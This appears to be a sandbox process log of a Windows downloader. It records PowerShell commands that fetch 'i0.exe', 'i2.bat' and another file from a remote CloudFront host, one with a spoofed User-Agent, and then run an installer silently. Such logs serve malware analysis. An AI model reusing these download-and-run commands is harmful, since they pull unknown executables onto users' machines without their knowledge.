powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2841&c=2841','stat')"
2192powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=2841','i0.exe')"
2288i0.tmp "C:\Users\test22\AppData\Local\Temp\is-HDLBD.tmp\i0.tmp" /SL5="$50172,2859366,899584,C:\Users\test22\AppData\Local\Temp\i0.exe" /verysilent /sub=1000
2512powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=2841', 'i2.bat')"
2544explorer.exe C:\Windows\Explorer.EXE
1236